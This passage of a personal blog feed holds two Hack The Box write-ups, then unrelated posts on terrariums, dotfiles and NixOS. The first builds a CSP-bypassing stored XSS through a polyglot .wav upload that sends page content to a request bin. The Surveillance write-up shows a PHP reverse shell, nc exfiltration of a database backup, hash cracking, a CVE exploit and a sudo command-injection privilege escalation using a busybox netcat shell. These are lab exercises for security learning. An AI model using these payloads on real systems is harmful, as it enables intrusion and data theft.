&lt;p&gt;We can use the API to update the agents &lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;platform&lt;/code&gt; and &lt;code&gt;arch&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://$HOSTNAME/agents/details/$ID/$TOKEN -d &quot;hostname=test1&amp;amp;platform=test2&amp;amp;arch=test3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Crafting the XSS P1&lt;/h2&gt;
&lt;p&gt;To craft a working exploit we change the local docker files of the challenge
such that we can log in as admin.&lt;/p&gt;
&lt;p&gt;On the panel we now see our registered agent with its details. Setting the
hostname to &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; does not work. This is because the
Content-Security-Policy. Scripts inline are not allowed. We are allowed to set
the source of a script to locally contained scripts. So we must find a way to
get our script in the server.&lt;/p&gt;
&lt;h2&gt;Uploading our script&lt;/h2&gt;
&lt;p&gt;In agents there is also the POST recording route. On this route we can upload
.wav files. The included .go agent does not work so we must discover our own way
to upload files. The route uses &lt;code&gt;multerUpload.single(&quot;recording&quot;)&lt;/code&gt; as middle
where. To upload a file we must send a form multipart request with the field
&lt;code&gt;recording&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We can upload a random form multipart file with curl:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form &quot;recording=@test.wav&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This fails because we did not specify the form type. Multer used a filefilter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fileFilter: ((req, file, cb) =&amp;gt; {
  console.log(file);
  if (
    file.mimetype === &quot;audio/wave&quot; &amp;amp;&amp;amp;
    path.extname(file.originalname) === &quot;.wav&quot;
  ) {
    cb(null, true);
  } else {
    return cb(null, false);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can add this mimetype by adding &lt;code&gt;type=audio/wave&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form &quot;recording=@test.wav;type=audio/wave&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will however still fail because in the post route it also tries to match a
regex string. &lt;code&gt;!buffer.match(/52494646[a-z0-9]{8}57415645/g)&lt;/code&gt; These are the
magic bytes for a &lt;code&gt;.wav&lt;/code&gt; file. This match is done globally, to we can add these
bytes any in our file. We &lt;code&gt;touch&lt;/code&gt; a new file &lt;code&gt;exploit.wav&lt;/code&gt; and &lt;code&gt;hexedit&lt;/code&gt; to add
these bytes at the end. Such that the final bytes are:
&lt;code&gt;524946460000000057415645&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form &quot;recording=@exploit.wav;type=audio/wave&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;returns the upload ID, we all we have to do is craft our script and reference
it.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;vim&lt;/code&gt; we can edit our &lt;code&gt;exploit.wav&lt;/code&gt;. As a poc we add alert to the top and
place to slashed before our magic bytes such that do not cause a synstax error.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alert(1);
//RIFF^@^@^@^@WAVE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We upload this to the server and save the in &lt;code&gt;$SCRIPT_ID&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Crafting the XSS P2&lt;/h2&gt;
&lt;p&gt;With this we can change our hostname to include our new script Setting the
hostname to &lt;code&gt;&amp;lt;script src=&quot;/uploads/$SCRIPT_ID&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://$HOSTNAME/agents/details/$ID/$TOKEN -d &quot;hostname=%3cscript%20src%3d%22%2fuploads%2f$SCRIPT_ID%22%3e%3c%2fscript%3e&amp;amp;platform=test2&amp;amp;arch=test3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we now access the page again the script gets executed. Now we make it such
that it extracts the flag.&lt;/p&gt;
&lt;p&gt;The flag is rendered on the page inside &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; tags. We can get this with:
&lt;code&gt;document.body.getElementsByTagName(&quot;h2&quot;)[0].getInnerHTML()&lt;/code&gt; As a request bin we
use httpdump. To force the browser of the admin to make a external request we
use &lt;code&gt;new Image().src=&lt;/code&gt; Our full exfiltration script then looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Image().src =
  &quot; https://httpdump.app/dumps/7c767ff0-df2e-4945-a44d-5a4e19b68a20?doc=&quot; +
  document.body.getElementsByTagName(&quot;h2&quot;)[0].getInnerHTML();
//MAGICBYTES
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We upload this, update our hostname to include the new file ID. Wait a few
seconds and we get our flag: &lt;code&gt;HTB{p01yg10t5_4nd_35p10n4g3}&lt;/code&gt; We are allowed to
set the source of a script to locally contained scripts. So we must find a way
to get our script in the server.&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Writeup: Surveillance</title><link>https://dorp.me/posts/surveillance</link><guid isPermaLink="true">https://dorp.me/posts/surveillance</guid><description>A writeup for the HackTheBox Surveillance machine.</description><pubDate>Thu, 18 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;The box seems to be for a surveillance camera service. It does not give a clear indicator for what a foothold would be.&lt;/p&gt;
&lt;h2&gt;Discovery&lt;/h2&gt;
&lt;p&gt;The website seems to be hosted by Craft CMS.
The page source does not revail anything instersting. just basic markup.
demo@surveillance.htb is an email. No other links
initial nmap is quite sparse&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -oA nmap surveillance.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-12 22:25 CET
Nmap scan report for surveillance.htb (10.10.11.245)
Host is up (0.026s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_  256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title:  Surveillance 
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.98 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have to try some more enumeration.
&lt;code&gt;http://surveillance.htb/admin/login&lt;/code&gt; gives a login page.&lt;/p&gt;
&lt;p&gt;The latest release of craft seems to be 4.6.0 Whilst the home page suggest it is running 4.4.14
In the release notes for 4.5.14 they mention: &lt;code&gt;Fixed a privilege escalation vulnerability.&lt;/code&gt; So this is something we have to use later on. In 4.5.12 again &lt;code&gt;Fixed a privilege escalation vulnerability.&lt;/code&gt; 4.5.7 aswell. 4.5.6 seems to contains a RCE &lt;code&gt;Fixed an RCE vulnerability.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Lets have a try at this.&lt;/p&gt;
&lt;h2&gt;Getting user&lt;/h2&gt;
&lt;p&gt;https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226&lt;/p&gt;
&lt;p&gt;This poc first failed, but seemed to be update by the time I came back to this machine and now gives a shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lets first setup a more stable reverse shell
We started a new reverse shell using php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php -r &apos;$sock=fsockopen(&quot;10.10.14.137&quot;,9000);exec(&quot;sh &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We upgraded this shell and can now start looking around&lt;/p&gt;
&lt;p&gt;The folder in which we start seem to contain mostly random web files.
By doing &lt;code&gt;find .&lt;/code&gt; we can quickly see all directory contents&lt;/p&gt;
&lt;p&gt;Up we go up some directories we find a &lt;code&gt;/storage&lt;/code&gt; directory, we do find on that and see &lt;code&gt;storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip&lt;/code&gt; that might be interesting.&lt;/p&gt;
&lt;h3&gt;Database dump&lt;/h3&gt;
&lt;p&gt;We setup a new netcat connection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; host: nc -lp 9001 -q 1 &amp;gt; baseout    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;on the machine we then encode it using base64 and send it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;machine: cat ./storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip | base64 | nc 10.10.14.137 9001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On our host we can now decode it and unzip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;base64 -d baseout &amp;gt; data.zip &amp;amp;&amp;amp; unzip data.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Searching for a password or username&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT INTO `searchindex` VALUES (1,&apos;email&apos;,0,1,&apos; admin surveillance htb &apos;),(1,&apos;firstname&apos;,0,1,&apos; matthew &apos;),(1,&apos;fullname&apos;,0,1,&apos; matthew b &apos;),(1,&apos;lastname&apos;,0,1,&apos; b &apos;),(1,&apos;slug&apos;,0,1,&apos;&apos;),(1,&apos;username&apos;,0,1,&apos; admin &apos;),(2,&apos;slug&apos;,0,1,&apos; home &apos;),(2,&apos;title&apos;,0,1,&apos; home &apos;),(7,&apos;slug&apos;,0,1,&apos; coming soon &apos;),(7,&apos;title&apos;,0,1,&apos; coming soon &apos;);
/*!40000 ALTER TABLE `searchindex` ENABLE KEYS */;
UNLOCK TABLES;
commit;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Maybe we can find matthew password somewhere&lt;/p&gt;
&lt;p&gt;This seems like the admin entry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,&apos;admin&apos;,&apos;Matthew B&apos;,&apos;Matthew&apos;,&apos;B&apos;,&apos;admin@surveillance.htb&apos;,&apos;39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec&apos;,&apos;2023-10-17 20:22:34&apos;,NULL,NULL,NULL,&apos;2023-10-11 18:58:57&apos;,NULL,1,NULL,NULL,NULL,0,&apos;2023-10-17 20:27:46&apos;,&apos;2023-10-11 17:57:16&apos;,&apos;2023-10-17 20:27:46&apos;);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec&lt;/code&gt; is the password hash.&lt;/p&gt;
&lt;h3&gt;Cracking the password&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;hashid&lt;/code&gt; we can to discover what type of hash it is.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashid 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SHA-256 seems te most likely&lt;/p&gt;
&lt;p&gt;We can try and crack it using hashcat.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 1400 -a 0 hash /usr/share/wordlist/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we find it:
&lt;code&gt;39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;user:&lt;code&gt;matthew&lt;/code&gt; pass: &lt;code&gt;starcraft122490&lt;/code&gt; we login via ssh.
And we get the user flag:
&lt;code&gt;ff5294207dafe5b5ca1ff61f1bfc5ddb&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Root&lt;/h2&gt;
&lt;p&gt;In the user dir we can not see anything special so we should try and get some enumeration on here. We upload linpeas via our default approach and run it.&lt;/p&gt;
&lt;h3&gt;Linpeas&lt;/h3&gt;
&lt;p&gt;There seems to be a second user with a console:
&lt;code&gt;zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash&lt;/code&gt;
Along with it there seems to be more nginx configuration for zm (zoneminder)&lt;/p&gt;
&lt;h3&gt;Probing arround&lt;/h3&gt;
&lt;p&gt;If we do &lt;code&gt;curl localhost:8080&lt;/code&gt;
We get served a page of  &lt;a href=&quot;https://zoneminder.com/&quot;&gt;zoneminder&lt;/a&gt; application this will probably be our way forward.&lt;/p&gt;
&lt;p&gt;There seems to be a poc available at &lt;a href=&quot;https://github.com/rvizx/CVE-2023-26035&quot;&gt;rvizx/CVE-2023-26035&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;rvizx/CVE-2023-26035&quot;}
If we want to use the exploit we must first forward to port to our host&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 8080:localhost:8080 matthew@surveillance.htb  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we again setup a &lt;code&gt;nc lisener&lt;/code&gt; and execute the poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 9000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;python root-exploit.py -t http://localhost:8080 -ip 10.10.14.137 -p 9000 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we get a shell as the zoneminder users&lt;/p&gt;
&lt;h3&gt;Root stage 2&lt;/h3&gt;
&lt;p&gt;zoneminder does have sudo rights:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
zoneminder@surveillance:/usr/share/zoneminder/www$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It seems to be clear that we want to inject our command somewhere using one of the &lt;code&gt;*pl&lt;/code&gt;. We are however not allowed to create our own files. Lets see what tools we already have.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zmaudit.pl    zmfilter.pl         zmrecover.pl    zmtrack.pl    zmwatch.pl
zmcamtool.pl  zmonvif-probe.pl    zmstats.pl      zmtrigger.pl  zmx10.pl
zmcontrol.pl  zmonvif-trigger.pl  zmsystemctl.pl  zmupdate.pl
zmdc.pl       zmpkg.pl            zmtelemetry.pl  zmvideo.pl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are all the perl files we can execute as root, one maybe has someway the run commands
If we audit the code a bit we find that &lt;code&gt;zmupdate.pl&lt;/code&gt; executes a command for which we can easily inject our own shell bits in the for of a user name.&lt;/p&gt;
&lt;p&gt;So we create a small script with a reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;busybox nc 10.10.14.137 9001 -e bash&quot; &amp;gt;&amp;gt; privesc.sh &amp;amp;&amp;amp; chmod +x privesc.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On our host setup a netcat lisener&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lnvp 9001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then run&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/bin/zmupdate.pl --version=1 --user=&apos;$(/tmp/privesc.sh)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we get a root shell on our new netcat connection
&lt;code&gt;29973ba58778775d0cffc2be10ff92fb&lt;/code&gt;&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Making a terrarium</title><link>https://dorp.me/posts/terrarium</link><guid isPermaLink="true">https://dorp.me/posts/terrarium</guid><description>A quick tutorial on making terrarium</description><pubDate>Sun, 21 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is a terrarium?&lt;/h2&gt;
&lt;p&gt;A terrarium is a small ecosystem in a glass container. It is a great way to bring some nature into your home. It is also a great way to learn about plants and how they grow.
Terrariums are a closed system, making them very low maintenance and not dependent on the weather outside. This makes them great for people who are not very good at keeping plants alive.&lt;/p&gt;
&lt;h2&gt;What do you need?&lt;/h2&gt;
&lt;p&gt;Terrariums can be very simple or very complex. It all depends on what you want to do with it and how likely you are to keep it alive. For the most basic terrarium that will last a while you need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a glass container&lt;/li&gt;
&lt;li&gt;some fresh soil&lt;/li&gt;
&lt;li&gt;some stones&lt;/li&gt;
&lt;li&gt;activated charcoal&lt;/li&gt;
&lt;li&gt;distilled water&lt;/li&gt;
&lt;li&gt;some moss&lt;/li&gt;
&lt;li&gt;some plants&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to keep it simpler you can also just use moss and make a &quot;mossarium&quot;. This is a great way to start.&lt;/p&gt;
&lt;p&gt;For the construction of the terrarium you also need some tools. In theory you can do it all with your hands or a chopstick, but it is much easier if you have some tools. The most basic tools that I would recommend are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;terrarium tweezers&lt;/li&gt;
&lt;li&gt;terrarium scissors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nice to haves are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;terrarium rake&lt;/li&gt;
&lt;li&gt;terrarium shovel&lt;/li&gt;
&lt;li&gt;funnel&lt;/li&gt;
&lt;li&gt;spray bottle&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to make it?&lt;/h2&gt;
&lt;p&gt;Making a terrarium is like a sandwich. You start with a layer of stones, then a spoon of charcoal, then a layer of soil. This forms the base of your terrarium. To keep the soil from mixing with the stones you can also add some netting directly on top of the stones. This is not necessary, but it can help.&lt;/p&gt;
&lt;p&gt;The thickness of the layers depends on the size of your container. You want to have the layer of stones such that none of the soil touches the bottom of the container. This way your terrarium will have a drainage system. The layer of charcoal is to keep the water clean. The layer of soil is where the plants will grow.&lt;/p&gt;
&lt;p&gt;On your base layer you can construct your artwork. It is best to start with the biggest plants first and then add the smaller ones. This way you can see how much space you have left. You can also add some decorations like rocks or figurines. After that you can add the moss to cover the soil. The plants do not need to be planted with their roots into the soil. For many plants you can just take clippings and stick them into the soil. Because the environment is so humid the plants will grow roots from the clippings.&lt;/p&gt;
&lt;p&gt;After you have constructed your terrarium you can add some water. You want to add enough water that the soil is moist, but not so much that there is a puddle of water at the bottom. The easiest way to add water is by using a spray bottle. With this you can also spray the walls of the container to clean them. You can also wipe the walls with a small piece of cloth.&lt;/p&gt;
&lt;p&gt;Now your terrarium is done. You can close the lid and enjoy your new terrarium.&lt;/p&gt;
&lt;h2&gt;What plants to use?&lt;/h2&gt;
&lt;p&gt;There are many plants that you can use for a terrarium. The most important thing is that the plants are small and do not grow too fast. You also want to use plants that like a humid environment. Some plants that I have used are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;fittonia&lt;/li&gt;
&lt;li&gt;pilea&lt;/li&gt;
&lt;li&gt;peperomia&lt;/li&gt;
&lt;li&gt;syngonium&lt;/li&gt;
&lt;li&gt;philodendron&lt;/li&gt;
&lt;li&gt;epipremnum&lt;/li&gt;
&lt;li&gt;asparagus fern&lt;/li&gt;
&lt;li&gt;calathea&lt;/li&gt;
&lt;li&gt;Monstera&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terrariumtribe has a &lt;a href=&quot;https://terrariumtribe.com/terrarium-plants/&quot;&gt;great list&lt;/a&gt; of plants that you can use for a terrarium.&lt;/p&gt;
&lt;h2&gt;Bioactive terrariums&lt;/h2&gt;
&lt;p&gt;Your terrarium could harbor a whole ecosystem. You can add some small animals to your terrarium. These small creatures will help to keep your terrarium clean because they love to eat fungus, mold and dead plant material. The two insects that are most commonly used are springtails and isopods. These are very small insects that are not harmful to your plants. They are also very easy to keep. You can buy them online or you can find them in your garden.&lt;/p&gt;
&lt;h2&gt;Showcase&lt;/h2&gt;
&lt;p&gt;Here are some of the terrariums that I have made.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./First.jpg&quot; alt=&quot;My first terrarium&quot; title=&quot;This is my first terrarium. It is a very simple one with just some moss and a small plant.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Gift.jpg&quot; alt=&quot;A gift&quot; title=&quot;This terrarium was a gift to someone.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Red.jpg&quot; alt=&quot;A red theme&quot; title=&quot;This terrarium has a red theme.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./white.jpg&quot; alt=&quot;A white theme&quot; title=&quot;This terrarium has a white theme.&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;p&gt;Some questions that I had myself when I started making terrariums.&lt;/p&gt;
&lt;h3&gt;How to maintain it?&lt;/h3&gt;
&lt;p&gt;Maintaining a terrarium is very easy. You only need to water when you see that the soil is dry. This can be once a week or once a month depending on the size of your terrarium and what you use to close it. After half a year you probably need to trim the plants a bit and remove some moss from the glass. You can do this with the terrarium scissors. If you have a bioactive terrarium you can also add some food for the insects. This can be a grain of rice or some yeast.&lt;/p&gt;
&lt;h3&gt;What to do if it dies?&lt;/h3&gt;
&lt;p&gt;If your terrarium dies you can just start over. You can reuse the glass container and the stones and charcoal. You can also reuse the soil, but it is best to replace it.&lt;/p&gt;
&lt;h3&gt;What to do if it gets moldy?&lt;/h3&gt;
&lt;p&gt;If your terrarium gets moldy you can just open it up and let it dry out. After that you can start over. If you have a bioactive terrarium you can also add some more insects to help clean it up.&lt;/p&gt;
&lt;h3&gt;What is the best place to put it?&lt;/h3&gt;
&lt;p&gt;The best place to put your terrarium is somewhere where it gets indirect sunlight. You do not want to put it in direct sunlight because it will become a greenhouse and burn the plants. You also do not want to put it in a dark place because the plants will not get enough light and grow tall to find it.&lt;/p&gt;
&lt;h3&gt;What to do if it gets too wet?&lt;/h3&gt;
&lt;p&gt;If your terrarium gets too wet you can open it up and let it dry out a bit.&lt;/p&gt;
&lt;h3&gt;Where to get the moss from?&lt;/h3&gt;
&lt;p&gt;You can get moss from your garden or from the forest. You can also buy it online. If you get it from your garden or the forest you need to make sure that you do not take too much and take care such that it can regrow. You can also take some moss from your terrarium and use that to start a new one.&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Managing dotfiles</title><link>https://dorp.me/posts/dotfiles</link><guid isPermaLink="true">https://dorp.me/posts/dotfiles</guid><description>A quick tutorial on managing dotfiles</description><pubDate>Mon, 25 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dotfiles are the configuration files inside your home directory that control how your system looks and behaves. They are called dotfiles because their name starts with a dot. This makes them hidden by default in most file managers. Dotfiles are used to configure many things on your system, like your shell, your text editor, and your window manager. In this tutorial, I will show you how I manage my dotfiles using Git. This way I can easily share my configuration between different systems and keep track of changes.&lt;/p&gt;
&lt;h2&gt;Setting up a dotfiles repository&lt;/h2&gt;
&lt;p&gt;We are going to create a bare Git repository in our home directory to track our dotfiles. After that we will use an alias to manage our dotfiles.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git init --bare $HOME/.dotfiles
alias dotfiles=&apos;/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we will create our alias in our shell configuration file. This way we can easily manage our dotfiles.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias dotfiles=&apos;/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can use &lt;code&gt;dotfiles&lt;/code&gt; as if it were &lt;code&gt;git&lt;/code&gt; to manage files. The first thing we want to do is to ignore all files in our home directory except the ones we want to track using our new alias.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles config --local status.showUntrackedFiles no
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can start to add files we want to track.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles add .zshrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And commit them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles commit -m &quot;Add zshrc&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To have our alias available in every new shell we can add it to our shell configuration file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;alias dotfiles=&apos;/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME&apos;&quot; &amp;gt;&amp;gt; $HOME/.zshrc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;What are important dotfiles?&lt;/h2&gt;
&lt;p&gt;We could track all the files in our home directory, but that would be overkill. Instead, we focus on the most important ones which we can use to recreate our setup on a new system. The dotfiles that I include are related to my shell, my text editor, and my window manager. Dotfiles for random applications that I use are not included.&lt;/p&gt;
&lt;h2&gt;Sharing and backing up your dotfiles&lt;/h2&gt;
&lt;p&gt;Now that we have our dotfiles in a Git repository, we can easily share them with others. We can push our dotfiles to a Git hosting service like GitHub or GitLab. This way we can easily clone our dotfiles on a new system and have our setup ready in no time.&lt;/p&gt;
&lt;p&gt;To do this we first need to create a new repository on GitHub or GitLab. Then we can add it as a remote to our dotfiles repository.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles remote add origin git@github.com:WillemMe/dotfiles.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And push our dotfiles to the remote.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles push -u origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My own dotfiles are on GitHub as well:&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;WillemMe/dotfiles&quot;}&lt;/p&gt;
&lt;h2&gt;Configuring a new system&lt;/h2&gt;
&lt;p&gt;To configure a new system with our dotfiles we first need to set our alias in the shell configuration file. After which we can clone our dotfiles repository.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias dotfiles=&apos;/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we clone our dotfiles repository.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --bare --no-checkout https://github.com/WillemMe/dotfiles.git .dotfiles
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::caution
To prevent conflicts with existing files you might want to back up your existing dotfiles.
:::&lt;/p&gt;
&lt;p&gt;To check out our dotfiles we can use our alias.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles reset --hard HEAD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have our dotfiles on our new system and we can start using them.
If our dotfiles contain nested Git repositories we can use the following command to clone them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dotfiles submodule init --recursive
dotfiles submodule update --recursive
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Dorp</author></item><item><title>NixOS: configure everything!</title><link>https://dorp.me/posts/nixos</link><guid isPermaLink="true">https://dorp.me/posts/nixos</guid><description>How my machines are just one big configuration</description><pubDate>Thu, 09 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why?&lt;/h2&gt;
&lt;p&gt;Just dotfiles work for me, why go further? Having dotfiles on one machine is great, but trying to keep them in sync on multiple machines whilst also keeping them up to date is a pain. Instead of just declaring program configuration in a dotfile, we declare the entire system in configuration files. Every program, every package, every running service. This way we have the same experience on every machine, all we have to do is &lt;code&gt;git pull&lt;/code&gt; and &lt;code&gt;rebuild&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;NixOS&lt;/h2&gt;
&lt;p&gt;NixOS is a Linux distribution that uses the Nix package manager. Nix is a purely functional package manager. This means that it treats packages like values in a functional programming language. This has some nice properties, like being able to roll back to previous versions of a package, or having multiple versions of a package installed at the same time. It is a very minimal distribution, which makes it very easy to configure. It is also very easy to reproduce a configuration on another machine, since the configuration is just a set of Nix expressions.&lt;/p&gt;
&lt;h2&gt;Nix Flakes&lt;/h2&gt;
&lt;p&gt;Nix flakes are a new feature in Nix that makes it easier to work with Nix projects. They are a way to define a Nix project in a single file, and to make it easy to share and reproduce the project. They are similar to Cargo workspaces in Rust, or to package.json in JavaScript. We can use them to define our system configuration, and split it up into multiple files.&lt;/p&gt;
&lt;h2&gt;Basic Configuration&lt;/h2&gt;
